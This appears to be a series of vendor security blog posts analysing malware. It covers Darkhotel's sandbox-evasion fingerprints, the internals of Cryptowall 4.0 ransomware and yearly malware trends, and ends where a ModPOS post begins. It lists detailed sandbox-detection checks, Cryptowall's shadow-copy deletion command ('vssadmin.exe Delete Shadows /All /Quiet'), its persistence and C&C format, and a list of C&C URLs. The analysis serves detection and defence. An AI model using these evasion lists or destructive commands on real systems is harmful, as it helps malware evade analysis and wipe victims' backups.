However, there is a clear silver lining to this cat-and-mouse game: the more evasive a piece of code becomes, the more likely it is to be malicious. Thus, the longer an attacker decides to play the game, the harder the game becomes and the less likely they are to win it!

Analysis overview of Darkhotel sample showing evasive behaviors

Darkhotel Just-In-Time Decryption

The Darkhotel APT group was originally reported by Kaspersky Labs, who has been keeping an eye on this campaign for a while. A recent update of the malicious code shows an interesting new feature to counteract being detected via the malware’s fingerprinting activity: to avoid revealing any of the fingerprint details (such as strings containing process names), the malware program contains only hashed or encrypted versions of the fingerprint information.

This, by itself, is nothing new, as encrypting data is common practice for malware. What is interesting, however, is that the strings used for fingerprinting are not even decrypted with the rest of the program memory. Instead, the malware uses just-in-time decryption of strings when they are needed, and wipes any memory block containing plain-text data after it has been used. This means that standard unpacking, memory-tracking, or process-snapshotting techniques will not be successful in revealing these fingerprints, and traditional security solutions have a hard time using this data for detection.

The following code shows part of the Darkhotel fingerprinting routine, checking if a target process contains interesting exported functions: the code first decrypts fingerprint strings (in this case, the names of functions) into a temporary buffer using a custom algorithm (see Proc_Decrypt_String). Then, it checks if these functions are exported inside the target process (see Proc_CheckIfFunctionExported): a positive identification reveals the presence of an analysis system. Once the string is no longer needed, the temporary buffer is overwritten with random data (using Proc_GenerateRandomNumber) before the buffer is released. This way, plaintext fingerprint strings reside in process memory only for the absolute minimum amount of time that is necessary.

To make analysis even more difficult, the malicious code avoids passing any decrypted strings to API functions whenever possible: since analysis systems may hook these functions, the plain-text values may be recorded and be used for detecting the malware. Instead, most decrypted strings are used for string comparisons or (substring) search operations. Here, Darkhotel uses custom-built string manipulation and comparison functions (embedded directly in the malware code) which makes hooking very difficult.

The Lastline sandbox uses a full-system emulation approach. Because of this, the code decrypting the fingerprint strings, as well as the logic for checking the system for signs of a security solution, are run on the emulated CPU. This allows our solution to correctly track the use of these fingerprints, and to use them to correctly classify the Darkhotel malware.

Traditional sandboxes, on the other hand, would rely on the fingerprints to be handed off to a library function (or system call), where the analysis components can inspect the data. Darkhotel uses this weakness and avoids passing any plaintext information to the hooked API functions, leaving these solutions in the dark.

Darkhotel Fingerprint Evasions

In this section, we describe some of the fingerprints used by Darkhotel to determine if it should show its malicious behavior. Only if a sandbox is able to recognize and bypass all of these mechanisms can it expose the full behavior.

Analysis Subject: Darkhotel uses a series of checks on its program file to determine if it is being analyzed:

• Check for the length of the executable name: if the length is 32 characters, the malware exits. This tackles a common practice used by security researchers or analysis tools, who rename a sample to its MD5 before execution.

• If the filename length is greater than 8, the malware checks if the filename ends with “.Md5.exe”. Just like the check above, this detects another common practice used by security researchers and sandbox solutions.

• Check if the program is executed from the root of the C:\\ drive.

• Check if the program is launched from one of the following folders - these clearly target artifacts of specific sandboxes:
• \\SAMPLES\\
• \\EXE\\
• \\SMPDIR\\
• \\SAMROOT\\
• \\AVCTESTSUITE\\(AV comparatives automated testing suite).

Module Paths: The sample checks its integrity at runtime, since some sandboxes monitor behavior from user mode by injecting a DLL into the program address space. This evasion attempts to detect sandboxes by checking the path of all code modules loaded in memory:

• It calculates the hash of each module name and compares it against a hardcoded list of  hashes.

• It checks if any module path contains one of the following strings:
• "\\CUCKOO\\"
• "\\SANDCASTLE\\"
• "\\ASWSNX\\"
• "\\BSA\\"
• "\\SANDBOX\\"
• "\\MWS\\"

Parent Process: Similar to the program module integrity check, Darkhotel applies the same checks on its parent process (the process triggering its execution) by hashing the parent process name and checking it against a hardcoded blacklist of program name hashes.

AVAST: Darkhotel specifically checks for the presence of the sandbox protection offered by Avast Antivirus. It does this by checking the presence of the following libraries in the process memory:

• “snxhk.dll”
• “snxhk64.dll”
• “sxIn.dll”

AV Process Check: The malware enumerates running processes on the system, and it checks if any of the programs belong to known AV software by comparing the executable names against a hardcoded list.

Window Check: The malware checks for programs with GUI windows using the following names:

• "START_PROCESS.PY" (used by Cuckoo sandbox)
• "ASWCMDASW.EXE"
• "CWSANDBOX"
• "GFISANDBOX"

Program Version Information: Darkhotel enumerates running processes on the system and creates hashes based on the version information for each executable. Most Windows executables contain a resource listing company name, filename, file description, internal name, etc. Darkhotel uses this information, specifically file description and company name, by hashing the data and comparing it against a hardcoded list of fingerprints.

Exported Functions: The program enumerates all modules loaded as part of the current process. It checks if any of the below functions exist in the modules’ export tables, allowing the malware to detect sandboxes that work by injecting user-mode libraries or that use dynamic binary instrumentation (DBI) frameworks:

• "SbieDll_RunSandboxed": Sandboxie user mode hooking DLL
• "SbieDll_Hook@12"
• "InjectDllMain"
• “hook_disable_retaddr_check": Cuckoo user mode DLL
• “New2_CreateProcessInternalW@48"
• “CharmVersionC"
• “PinWinMain": PIntool (Intel PIN) DBI
• “dr_app_running_under_dynamorio": Dynamo RIO DBI
• "dr_inject_wait_for_child"

Named Pipes: The Cuckoo sandbox makes use of a named pipe called \\\\.\\pipe\\cuckoo and can thus be detected by the presence of the pipe.

Mouse position: Darkhotel repeatedly checks for the position of the mouse cursor on the screen. If the cursor remains at the center of the desktop, it is unlikely that a real user is using the system. Because of this, most sandboxes periodically move the mouse cursor or perform some other type of interaction with the desktop.

Username: The malware compares the username of the active account against the following list:

• "CUCKOO"
• "SANDBOX-"
• "NMSDBOX-"
• "XXXX-OX-"
• "CWSX-"
• "WILBERT-SC"
• "XPAMAST-SC"

File System: Darkhotel checks if any of the following files exists:

• "c:\\agent\\MemoryDump.dll"
• "c:\\agent\\ProcessMemDump.exe"
• "c:\\bin\\AHookMonitor.dll"
• "c:\\bin\\hookanaapp.exe"
• "c:\\cwsandbox\\cwsandbox.ini"
• "c:\\cwsandbox\\cwsandboxstarter.exe"
• "c:\\gfisandbox\\starter.exe"
• "c:\\manual\\grabme.exe"
• "C:\\manual\\SilipTCPIP.exe"
• "c:\\MWS\\bin\\agent\\hips32.exe"
• "c:\\MWS\\bin\\agent\\hipsengine32.dll"
• "c:\\MWS\\bin\\agent\\hipspcap32.dll"
• "c:\\original\\AutoRepGui\\autorep.dll"
• "c:\\original\\AutoRepGui\\AutoRepGui.exe"
• "C:\\sandbox\\w64h\\wow64hlp.exe"
• "C:\\SandCastle\\tools\\BehaviorDumper.exe"
• "C:\\SandCastle\\tools\\FakeHTTPServer\\_hashlib.pyd"
• "C:\\SandCastle\\tools\\FakeHTTPServer\\_socket.pyd"
• "C:\\SandCastle\\tools\\FakeHTTPServer\\_ssl.pyd"
• "C:\\SandCastle\\tools\\FakeHTTPServer\\FakeHTTPServer.exe"
• "C:\\SandCastle\\tools\\FakeHTTPServer\\python27.dll"
• "C:\\SandCastle\\tools\\FakeHTTPServer\\select.pyd"
• "C:\\SandCastle\\tools\\FakeServer.exe"
• "C:\\SandCastle\\tools\\LiteClient.exe"
• "C:\\SandCastle\\tools\\syelog.dll"
• "C:\\SandCastle\\tools\\syelog.dll"
• "C:\\SandCastle\\tools\\TmSigChk.dll"
• "C:\\SandCastle\\tools\\tracer.dll"
• "c:\\tools\\aswsnx\\snxcmd.exe"
• "c:\\tools\\aswsnx\\snxhk.dll"
• "c:\\Tools\\findt2005.exe"
• "c:\\totalcmd\\gfiles\\360tray.exe"
• "c:\\totalcmd\\gfiles\\avcenter.exe"
• "c:\\totalcmd\\gfiles\\avgnt.exe"
• "c:\\totalcmd\\gfiles\\avguard.exe"
• "c:\\totalcmd\\gfiles\\avp.exe"
• "c:\\totalcmd\\gfiles\\Avp32.exe"
• "c:\\totalcmd\\gfiles\\Avpcc.exe"
• "c:\\totalcmd\\gfiles\\Avpm.exe"
• "c:\\totalcmd\\gfiles\\Avpupd.exe"
• "c:\\totalcmd\\gfiles\\CCenter.exe"
• "c:\\totalcmd\\gfiles\\cpd.exe"
• "c:\\totalcmd\\gfiles\\filemon.exe"
• "c:\\totalcmd\\gfiles\\fsav32.exe"
• "c:\\totalcmd\\gfiles\\fsbwsys.exe"
• "c:\\totalcmd\\gfiles\\fsdfwd.exe"
• "c:\\totalcmd\\gfiles\\Fsgk32.exe"
• "c:\\totalcmd\\gfiles\\kavmm.exe"
• "c:\\totalcmd\\gfiles\\KavPFW.exe"
• "c:\\totalcmd\\gfiles\\kavsvc.exe"
• "c:\\totalcmd\\gfiles\\navapsvc.exe"
• "c:\\totalcmd\\gfiles\\Navrunr.exe"
• "c:\\totalcmd\\gfiles\\Navw32.exe"
• "c:\\totalcmd\\gfiles\\Navwnt.exe"
• "c:\\totalcmd\\gfiles\\NISSERV.EXE"
• "c:\\totalcmd\\gfiles\\nod32cc.exe"
• "c:\\totalcmd\\gfiles\\nod32krn.exe"
• "c:\\totalcmd\\gfiles\\nod32kui.exe"
• "c:\\totalcmd\\gfiles\\nod32m2.exe"
• "c:\\totalcmd\\gfiles\\outpost.exe"
• "c:\\totalcmd\\gfiles\\procexp.exe"
• "c:\\totalcmd\\gfiles\\procmon.exe"
• "c:\\totalcmd\\gfiles\\regmon.exe"
• "c:\\totalcmd\\gfiles\\SAVScan.exe"
• "c:\\totalcmd\\gfiles\\symlcsvc.exe"
• "c:\\totalcmd\\gfiles\\tcpview.exe"
• "c:\\totalcmd\\gfiles\\zonealarm.exe"
• "c:\\tracer\\FortiTracer.exe"
• "\\Documents and Settings\\Administrator\\Desktop\\AVCTestSuite\\AVCTestSuite.exe"
• "d:\\sandbox_svc.exe"
• "D:\\plugins\\import\\import_pe.dll"
• "D:\\plugins\\import\\sb_import.dll"
• "D:\\plugins\\import\\import_launcher.dll"
• "D:\\plugins\\process\\filesystem.dll"
• "D:\\plugins\\process\\sniffer.dll"
• "D:\\plugins\\process\\wincheck.dll"
• "D:\\plugins\\process\\procmon.dll"
• "D:\\plugins\\process\\screenshot.dll"
• "D:\\plugins\\process\\dumper.dll"
• "D:\\plugins\\process\\hosts.dll"
• "D:\\plugins\\process\\mutexenum.dll"
• "D:\\plugins\\process\\sb_status.dll"

Darkhotel Sandbox CPU Evasions

In addition to the string-based fingerprints mentioned above, Darkhotel uses a set of checks against the CPU to find environment anomalies.

Timing Check / Sleep Patching Detection: Darkhotel checks if an analysis system may be tampering with the system clock, a common technique to evade analysis systems:

• First, it checks whether the GetTickCount function behaves at it should. More specifically, the code checks if the function returns different values over time and enters an infinite loop if not.
• In the next step, the malware code reads the system time using a WMI query and extracts the seconds-part from it. Then, the code sleeps for 4000 milliseconds, followed by another query to the system time. If the difference is less than 3 seconds, the code assumes the time has been tampered with - for example, the sleep has been patched or skipped.
  This is an effective and well-known trick, as we documented in our previous post on inverted timing attacks.

Processor check: The malware checks the CPU model of the system to identify sandboxes:

• The code checks if it is executing on one of the following processors, and refuses to run if one of these is found:
• Intel(R) Core(TM)2 CPU T7200  @ 2.00GHz
• Intel(R) Xeon(R) CPU L5640  @ 2.27GHz

• Additonally, it queries the processor name via the Windows registry as well as the CPUID instruction. If the two values don’t match - for example, because a sandbox intercepts and manipulates these values - the malware assumes it is running in an analysis sandbox.
  Interestingly, this specific check has a buggy implementation in the Darkhotel variant we looked at for this post: while the values are checked for consistency, they never lead to the malware to terminate - even on a vulnerable sandbox:

Summary

Advanced malware is becoming more evasive to avoid being detected by analysis sandboxes. Darkhotel uses a huge arsenal of system fingerprints, trying to determine whether it is running inside an analysis environment, and it avoids revealing its malicious behavior if a sandbox is detected. To avoid leaking details about the fingerprints it uses to identify sandboxes, Darkhotel uses just-in-time decryption as well as hashing of strings.

By using full-system emulation, the Lastline sandbox is able to identify system fingerprinting, even when strings are not being passed to any library functions and only live in memory for a very short time.

Thus, the system can circumvent the evasive checks. Even more, it can use them to classify the Darkhotel malware, as the number of evasive behaviors clearly distinguishes this code from benign programs.

Bridging static and dynamic analysis using Lastline process snapshotting

Scareware is a type of malware that takes advantage of people’s fear of revealing their private information, losing their critical data, or facing irreversible hardware damage. Ransomware is a particular class of scareware that locks a victim’s computer and renders their files inaccessible - typically, by encrypting the files on the file system and sending the key to the attacker. Then, the victim is forced to pay a ransom to regain access.

Cryptowall is the name of a popular ransomware family, similar to the infamous Cryptolocker family. This malware encrypts a variety of files on the victim’s computer using public key cryptography (using strong 2048-bit RSA key). Once the files are encrypted, the malware presents a dialogue to the user that informs the victim about the fact that the files are no longer accessible. Moreover, it provides instructions on how to pay the ransom and obtain the private key to decrypt the files. The attackers often demand hundreds of dollars to unlock the locked files, and they create a sense of urgency by threatening to increase the necessary payments or even delete the key after a certain period of time has elapsed.

In this post, we dissect a Cryptowall sample and look under the hood of this malware threat to reveal its inner workings in more detail. We show how Lastline’s automated malware analysis exposed a range of unwanted activity right of out the box, and how the process snapshot feature built into the sandbox aided the analysis in various ways.

Unpacking the sample

Like most malware, the Cryptowall sample that we used for analysis is packed. In this case, the malware authors have leveraged a custom packer using well-known techniques: when the packed sample is executed, the sample first runs several rounds of decryption, peeling back one layer at the time until the final payload is revealed. At the end of unpacking, the code overwrites the original PE image memory with the malware payload . What makes this (fairly standard) process a bit more interesting is the presence of a trick (or maybe a bug) that makes automated dumping of the decrypted payload a little harder. Specifically, when the PE header of the original image is overwritten, the packer fails to compute the correct new offset (to the final payload PE) from the start of the section header.

Here is more detailed explanation:

As can be seen in the screenshot, the sample executes a pop instruction at 0x008C09D4 to obtain the instruction pointer (%eip) that is stored at the top of the stack.

To obtain the correct address of section_header, which directly follows a jump instruction after the pop, it should add 6 to %eax (1 for the length of the pop instruction, and 5 bytes for the jmp instruction). However, as it can be seen in the next screenshot (that shows the code that is executed after the jump), the sample only adds 3 (see the add instruction at 0x008C0A7A). One possible reason is that the programmer incorrectly assumed that the jump instruction is only three bytes long (which would be the case for a short jump, which has only a 16-bit offset).

Because of this discrepancy between the actual and the computed value, the start address of section_header is considered to be at 0x008C09D7 (which is in the middle of the jump instruction, three bytes before the actual location). This breaks some of the automated dumping/unpacking tools that rely on (blindly) parsing the PE headers to dump the image as in memory. Specifically, these tools will fail to recognize the section as valid PE, since many fields will no longer contain valid values.

In Lastline’s analysis environment, we take memory snapshots at different stages of the execution and do not simply rely on parsing the PE image from memory. As a result, we are not affected by this trick, and the unpacked malware payload (file) is correctly provided in the exported snapshots. Memory snapshotting also enables us to detect the activity over overwriting the original PE image with a new one. More precisely, we detect this activity as “wiping PE Images from the memory,” as one of many behaviors shown in the analysis overview of the analysis report:

In the rest of this post, we will accompany description of the Cryptowall behavior with screenshots based on the process snapshots.

Analyzing the unpacked sample

As a first step, the sample resolves the addresses of all the API functions that it needs to call later. This is done by using a list of hashes, one for the name of every API call. In this way, the malware does not have to use an import table or store API names directly as strings, which could help antivirus solutions to recognize the malware.

In the next step, the malware produces a machine identifier (we refer to this identifier as the system_info_hash). To this end, the code computes the MD5 hash of the following pieces of system information:

1. ComputerName
2. UserName
3. SystemDrive serial number
4. CPU INFO (using PROCESSOR_IDENTIFIER)
5. Number of CPUs (using PROCESSOR_Level)
6. Revision Number of CPU (using PROCESSOR_REVISION)
7. OS Major version
8. OS Minor version
9. IsWow64
10. Keyboard Layout

After that, the malware creates a second MD5 hash system_info_network_hash, which is created by combining a hardcoded string (which, in our case, is “crypt”) with the just-computed system_info_hash as well as a information about the C&C network configuration (Network_Info_structure, described in more detail later).

Additionally, the malware also gets information on OS version, WOW64 status, and whether the current user has administrative privileges as shown in above screenshot. Together with the calculated hashes, this information is stored using the following structure:

Crytptowall_Info
{
   char * hardcoded_string;
   size_t hardcoded_string_len;
         char *system_info_hash;
   size_t system_info_hash_len;
   int unknown;
   char *system_info_network_hash;
   unsigned int OSCode;
   unsigned int Wow64Status;
   unsigned int IfAdmin;
}

Injection into explorer.exe

After the initial setup, the malware injects itself into the explorer.exe process and continues its malicious activity in this new context. The injection is done using a variation of the standard process hollowing technique: instead of replacing the original code of explorer.exe, the sample creates a new section in the target process and copies the malware image, relocating the code to the new section base address accordingly. Thus, the section mapped into explorer.exe is the same unpacked malware program, merely executed with a different entry point (and the execution is achieved using ZwQueueApcThread).

The main goal in this phase is to achieve persistence and hide the tracks of the original malware process. To this end, the malicious program is copied into the %appdata% directory using characters 9 through 18 from system_info_network_hash as name. Then the sample creates a registry entry under HKEY_USERS\{UserSID}\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN for the newly created file, causing the malicious code to be run on each boot. Last, the code terminates the primary malware process and deletes the original file from disk.

The malicious code attempts to delete and disable the system restores by carrying out the following steps:

• Delete previous restore points by calling SRRemoveRestorePoint. This function takes as argument the number of the restore point to be deleted. The code attempts to delete the previous one thousand restore points by invoking SRRemoveRestorePoint with arguments from 0 to 999.

• Disable the system restore by setting the value "DisableSR" to 0 in the registry key  (HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore)

• Call vssadmin.exe with the following arguments to delete any shadow volume copies: 
  vssadmin.exe Delete Shadows /All /Quiet

Injecting code into a foreign process triggers the generation of a process snapshot. This allows an analyst to download the malware code that is running in the context of the hollowed process (explorer.exe). Further, as we describe in a previous post, the snapshot only contains the relevant (malicious) parts of the code, allowing to focus on the relevant parts quickly.

The following screenshot shows part of the restore-point removal described above:

Injection into svchost.exe

Our analysis continues in the context of svchost.exe. Again, the malware injects its code into a new process by adding a new section with the original malware code. And, again, a different entry point is selected to invoke a different malware functionality. 

After the malware has previously made itself persistent and covered its tracks, it is now time to carry out the intended malicious functionality. As the first step, the malware checks in with its miscreant operators. 

To phone home, the Cryptowall samples store a hardcoded list of command and control servers. This list is first compressed (using RtlCompressBuffer) and then encrypted using RC4. These steps are executed in reverse order (first decryption, then decompression) by the function DecryptNetworkConfig, using a hardcoded RC4 key embedded in the binary. Reversing this function (whose disassembly is partially shown in the screenshot) shows that the sample stores its network/C&C configuration using the following structure:

Network_Info_structure
{
      char rc4_key [];
  size_t  data_size;
  byte  encrypted_data[data_size];
}

Now we wrote a simple IDA Python script (formatted version) that can be used to decode the information from the data extracted from the process dumps.

Running this script on our sample yielded the following C&C list:

abelindia.com/1LaXd8.php
purposenowacademy.com/5_YQDI.php
mycampusjuice.com/z9r0qh.php
theGinGod.com/HS0ILJ.php
yahoosupportaustralia.com/8gX7hN.php
successafter60.com/iCqjno.php
alltimefacts.com/EiFSId.php
csscott.com/YuF59b.php
smfinternational.com/eRs70a.php
lexscheep.com/OIsSCj.php
successafter60.com/r_kfhH.php
posrednik-china.com/etdhIk.php
ks0407.com/VoZQ_j.php
stwholesaleinc.com/yL54uH.php
ainahanaudoula.com/GH09Dp.php
httthanglong.com/yzoLR7.php
myshop.lk/6872VF.php
parsimaj.com/60wEBT.php
kingalter.com/uVRfPv.php
shrisaisales.in/ZUQce4.php
cjforudesigns.com/E8B2gt.php
mabawamathare.org/WEAbCT.php
manisidhu.in/zJE0fD.php
adcconsulting.net/XEGeuI.php
frc-pr.com/dA91lI.php
localburialinsuranceinfo.com/zDJRc8.php
smfinternational.com/AYNILr.php

Our script can be used to extract the C&C info from any Cryptowall 4.0 sample with little modification. This is very helpful to quickly extract any new command and control information when new samples are caught in the wild, producing valuable threat intelligence. Also, since the Lastline sandbox already exports all needed memory dumps and makes them available via APIs, the script can be invoked whenever the system finds and analyzes a new Cryptowall sample.

Network communication

Once the list of C&C servers have been decoded, it is time to connect. However, Cryptowall does not send information in clear text. Instead, a simple protection layer is used. To establish this protection layer, the sample first selects a random number between 10 and 15, which is used as the length for a randomly generated RC4 key. The characters of this randomly generated key are then sorted to derive a second RC4 key. Using this second key, the sample encrypts

• the hash identifying infected client (as discussed above),
• OS version information,
• information whether the processor is running in 32-bit or 64-bit mode, and
• whether the malware is running with administrative privileges (which the code gets by checking the process SID)

using the following schema:

{1|hardcoded_string|system_hash|os_code |wow64_status |admin_status}

The first (randomly generated key) is simply included as a POST parameter of the HTTP C&C request, which follows the format:

server_url/?(random number [a-z]) =  Unsorted RC4 key

The key is included so that the server can extract the transmitted data. It is also used to encrypt the response back to the sample.

If the C&C server is up, it responds with the following information (again, all encrypted using RC4):

unique_id | attacker base domain | country code | payment addresses separated by “~” | public key | image (To be shown to user after infection)

The public key downloaded from the server is used to protect the key that is later used to scramble the files on disk.

The payment addresses are shown to the user as part of the ransom process where payments need to be made to the attacker. The image is unique for every user and contains instructions for how to pay the ransom (and recover the encrypted files):

[attacker domain].[payment gateway]/[user unique id]

File Encryption

Once the sample has received a response from the C&C server, it is time to start encrypting the files on the victim’s machine. To this end, the malware first creates a random AES key, using local Win32 APIs. Using this AES key, it encrypts the files (including filenames) on the victim’s machine. As part of the encryption process, the malware also adds some metadata to each encrypted file (in particular, a hash of the public key, and the AES key encrypted with the public key). Once the files are encrypted, the AES key is purged. This makes it impossible to retrieve the decryption key from the local machine.

When the victim pays her ransom, she gets access to the private key that corresponds to the public key that was used to encrypt the AES key. Using the private key, the AES key can be decrypted (which is stored as metadata with each file). Using the AES key, the files can be restored.

It is interesting to observe that the malware checks the keyboard layout before starting the file encryption process:

When the keyboard layout belongs to one of the following entries, the malicious activity is not invoked.

Russia
Kazakh
Ukrainian
Uzbek - Cyrillic
Uzbek - Latin
Turkmen
Belarusian
Azeri - Cyrillic
Azeri - Latin
Armenian
Tajik
Kyrgyz - Cyrillic
Georgian

Similarly, the malware also checks a CRC32 sum of the victim machine’s country code against a list of hardcoded country values. More specifically, the malware retrieves the country-code from the C&C server (most likely based on the client IP), generates the CRC32 sum, and compares this to a list of country code sums hardcoded in the malware binary:

Once again, when a match is found, no files are encrypted.

Summary

As we show in the overview of the analysis report, Lastline detected and highlighted all relevant Cryptowall behaviors of the sample. One can see the behaviors related to making the sample persistent, the injection of code into legitimate processes, the stealth activity to hide the sample’s tracks, suspicious network activity, and the encryption process that is seen as a process iterating over a large number of files in the file system.

At the same time, process snapshots are taken at various interesting points throughout the execution of the malware programs. This allows for deeper manual malware analysis by security researchers.

Both features - the deep insights into behavior of malware executing in the sandbox as well as extraction of forensic metadata - are made possible through Lastline’s full-system emulation (FUSE) sandbox and allows the detection of previously unseen malware.

Every day, our Lastline sensors observe millions of files that our customers download from the Internet or receive as email attachments. These files are analyzed and, in many cases, executed or opened inside our sandbox. The sandbox is a secure, instrumented analysis environment where we can safely look for interesting behaviors that indicate bad intentions and outright malice. 

Every once in a while, we take a step back and look at the malicious behaviors that we have seen. Malware authors always look for new ways to make money, get access to sensitive data, and evade detection. They introduce new behaviors, refine ideas that they have tried in the past, and add tricks to bypass security controls. By looking over the data collected over the last year, we discovered a few interesting trends that show some of the directions that malware authors take. In this research note, we discuss three findings that struck us as interesting and worth reporting. As a forth bonus item, we also revisit evasive behaviors, something that we have been tracking for many years.

Code Signing

Malware authors want to avoid detection. One possible way to achieve this goal is to make malware programs appear legitimate. And one trick to make an unwanted program appear legitimate is to digitally sign it. Many security products consider signed code to be more trustworthy. Also, when signed applications are run in Windows, certain security warnings are suppressed that could deter victims from running unwanted software.

Digital signatures are used in many different domains to establish trust between entities. In Windows, digital signatures are used within the Authenticode framework, and they associate a program with the identity of its author (or publisher). Digital signatures also guarantee that the code has not been modified or corrupted. To sign programs, code authors (publishers) need to obtain a valid certificate from a Certification Authority (CA), which are trusted third parties. This need to obtain a certificate from a trusted third party should make it more difficult for malware authors to sign their code. First, the CA should verify the identity of the publisher, and presumably, it is difficult for malware authors to convince the CA that they represent a genuine business. Second, certificates are not free, and once a certificate is found to be abused for malware, it will be revoked. This removes the benefits for all programs signed with this certificate, and, in fact, making the programs even more suspicious.

Despite the fact that the certificate process should make it difficult for malware authors to sign their programs, we have seen a noticeable increase of signed programs in our dataset that perform malicious activity. For the results, see Figure 1. The graph shows that a significant spike in the beginning of the year, and after a drop back, a gradual increase (overall, the gray trendline points upwards).

Figure 1: Fraction of signed malicious and suspicious samples

We should make clear that most of the observed increase is due to adware or other types of unwanted software (often referred to as PUP – potentially unwanted programs). We don’t find significant use of digital signatures in programs that are flat out malicious. In our system, we assign a score of 70 or higher to programs that are clearly malicious, while a score between 30 and 70 indicates that the program is suspicious. We saw a significant increase of digital signatures for programs in the range between 30 and 50, much less so for programs with scores closer to 100. This makes intuitively sense, as it might be possible for companies that produce adware or PUP to convince (or trick) CAs to provide them with certificates. There have even been cases in the past where such companies successfully forced AV vendors to remove detections for their software, claiming that their creations are legal. (You can find an index of some of these claims and their dispositions here.) Of course, most users do not want to install PUP. In the best case, such programs are annoying. In the worst case, such software can serve as a gateway to malware; a slippery slope where each “greyware” program in turn installs a slightly more aggressive application, until the victim machine is infected with “proper” malware. 

Of course, we asked ourselves whether specific Certification Authorities (CAs) are less strict than other when vetting software publishers. In other words, is there a specific CA that is responsible for most of the signed malware? We found that this was not the case. All popular, well-known CAs are affected, and there is not one specific player that can be singled out.

Modifications of Browser Settings

Our sandbox tracks a wide variety of behaviors that could be interpreted as suspicious or unwanted. These behaviors are typically generic: we are less interested in how a specific malware achieves a goal,  but rather, we want to capture what malware is doing. This approach is what fulfills the promise of zero-day detection capabilities: we don’t need to have seen a particular piece of code in the past, when it shows unwanted behaviors in our sandbox, we will flag it as bad.

When looking at these behaviors, we observed an interesting increase in the number and fraction of samples that modified browser settings. We track modifications for many important and security-relevant browser configuration files, for all major browsers (Internet Explorer, Chrome, Firefox, Opera, Safari). We also track changes to relevant Windows registry keys that influence the behaviors of these browsers. The increase in the number of samples that change browser settings (and – in gray – the trend) can be seen in Figure 2.

Figure 2: Fraction of samples that modify browser settings

Digging deeper into the data, we found that much of the increase of the observed behaviors was because malware samples changed the browsers’ proxy settings. For Internet Explorer, these modifications can be done by changing the AutoConfigURL registry setting. When looking around a bit, one can find reports that show malware that has targeted browser proxy settings (and AutoConfigURL in particular) appearing already many years ago. (Here's an example from late 2013.)

By changing proxy settings, an attacker can redirect all browser traffic, or traffic for selected URLs only, to go through a machine that the attacker controls. By putting himself into the path between the victim and a legitimate website (such as a bank), the attacker can launch man-in-the-middle attacks and crack open traffic even when it is encrypted. This allows miscreants to steal bank credentials or interfere with financial transactions (even when two factor authentication is used, since the attacker is manipulating an actual transaction that a user carries out). In fact, the first malware to popularize the trick to tamper with browser proxy settings were Brazilian bank Trojans.

While the basic technique of tampering with proxy settings is certainly not novel, we found the significant increase that we observed in our data troublesome. It seems that man-in-the-middle attacks are not necessarily limited to banking malware anymore. Instead, as encrypted web traffic (HTTPS) becomes ubiquitous, malware authors increasingly include components into their programs that allow them to hijack browser traffic.

Password Guessing

There are two main approaches that attackers use to gain unauthorized access to systems and data. One approach abuses the fact that many systems have vulnerabilities. These vulnerabilities can range from configuration flaws to software bugs. When an attacker finds such a vulnerability, he can write an exploit that takes advantage of the problem and might gain direct access to the data or can force the victim system to execute commands or code that are not intended. The second approach does not exploit a weakness in the system but targets users instead. Specifically, attackers can trick users to reveal their credentials (e.g., in a phishing attack), or they can rely on the fact that users choose poor passwords. In the latter case, credentials might simply be guessed.

Launching a password guessing attack is a tried and true technique to break into remote systems or escalate local privileges. The malware repeatedly invokes a local authentication procedure or repeatedly sends requests to a remote login function, using well-known username and password combinations. When a target uses a weak combination of well-known, easy-to-guess username and password, then the malicious code gains access.

In our sandbox, we use a combination of techniques to recognize password guessing (or brute forcing) attempts. One set of techniques looks at the behavior of the program. Does it repeatedly connect to services, sending similar requests that only vary in what looks like credential sets? Does the program repeatedly invoke certain Windows authentication APIs? Does the program connect to network-local services that are used to manage and elevate privileges?

Another complementary set of techniques to detect password guessing focuses on in-memory analysis. Specifically, our sandbox statically examines the memory snapshot of a program at different times. When our analysis finds code blocks or data blocks that indicate password guessing capabilities, an appropriate detection event is generated. This second set of techniques is interesting because it separates our detection capabilities from those of many other sandboxes that are limited to the observation of interactions between the program code and the operating system, or program code and library functions (using API or system call hooks). With our full system emulation (FUSE) approach, we can not only see every individual instruction that the malware executes, we also have full visibility into the memory of the process. This enables us to peek at code and data blocks that are not executed, broadening our range of malicious capabilities that we can discover.

Figure 3: Fraction of samples that perform (password) brute force activity

Password brute force attacks are certainly not new. However, the growth of password guessing capabilities in malware samples is quite relevant, as shown in Figure 3 (notice also the gray trendline). We can speculate about the reasons for this increase. One possible explanation is that services (such as Windows itself, but also important applications) get increasingly hardened against exploits. That is, it becomes harder and harder for attackers to exploit vulnerabilities in important software components. Hence, it is necessary to rely more on social engineering and password guessing. Another explanation is that malware increasingly targets sets of devices that are known to have weak passwords and that have not been scrutinized as carefully in the past. With these devices, we refer to what is often described as the Internet-of-Things. This includes home routers, web cameras, but also devices that were not connected to the Internet at all in the past  (such as thermostats or fridges). Many of these devices are built with little security in mind, and they have weak default passwords. Malware has started to target these IoT devices, and one simple way is via password guessing attacks. Finally, a third reason is that certain prominent malware families spread by injecting malicious code into websites that run old, unmaintained versions of  content management system (CMS) software; WordPress has been a particularly popular target. 

Evasion

As dynamic analysis systems (sandboxes) have become more popular, malware authors have responded by devising evasive techniques to ensure that their programs do not reveal any malicious activity when executed in such an automated analysis environment. Clearly, when malware does not show any unwanted activity during analysis, no detection is possible.  Malware authors have utilized simple evasion tricks for many years. Last year, we have reported that evasive malware has become mainstream. We found that a majority of samples used evasive techniques, and many samples employed many such techniques in parallel to increase their chances to remain undetected in a sandbox. At this point, we cannot expect substantial increases anymore; evasive behaviors have simply become too common and it is not possible anymore to double yet again.  Nonetheless, we wanted to understand whether widespread evasion was here to stay. Not surprisingly, the answer is yes. In 2015, we saw the continuation of the trend that we explored in a previous report for 2014.

Figure 4: Fraction of samples with evasive capabilities

Figure 4 shows the fraction of malware samples in our dataset that uses one or more evasive techniques. As expected, we can see that this fraction stays high throughout the year. There are some swings in this curve, which is caused by different waves of popular malware samples. In some cases, a particular family does not have aggressive evasion capabilities, so the graph dips down. However, such malware samples are quickly replaced by waves of families that do make use of evasion.

Authored by: Subrat Sarkar, Arunpreet Singh, and Clemens Kolbitsch

Diving deeply into the ModPOS malware framework using sandbox process snapshotting

Point-of-sale (POS) systems are amongst the most valuable targets for attackers today: with direct access to systems processing payment information, miscreants are able to circumvent any encryption between point-of-sale devices and the payment processor, allowing them to spy on - or even tamper with - sensitive payment information.

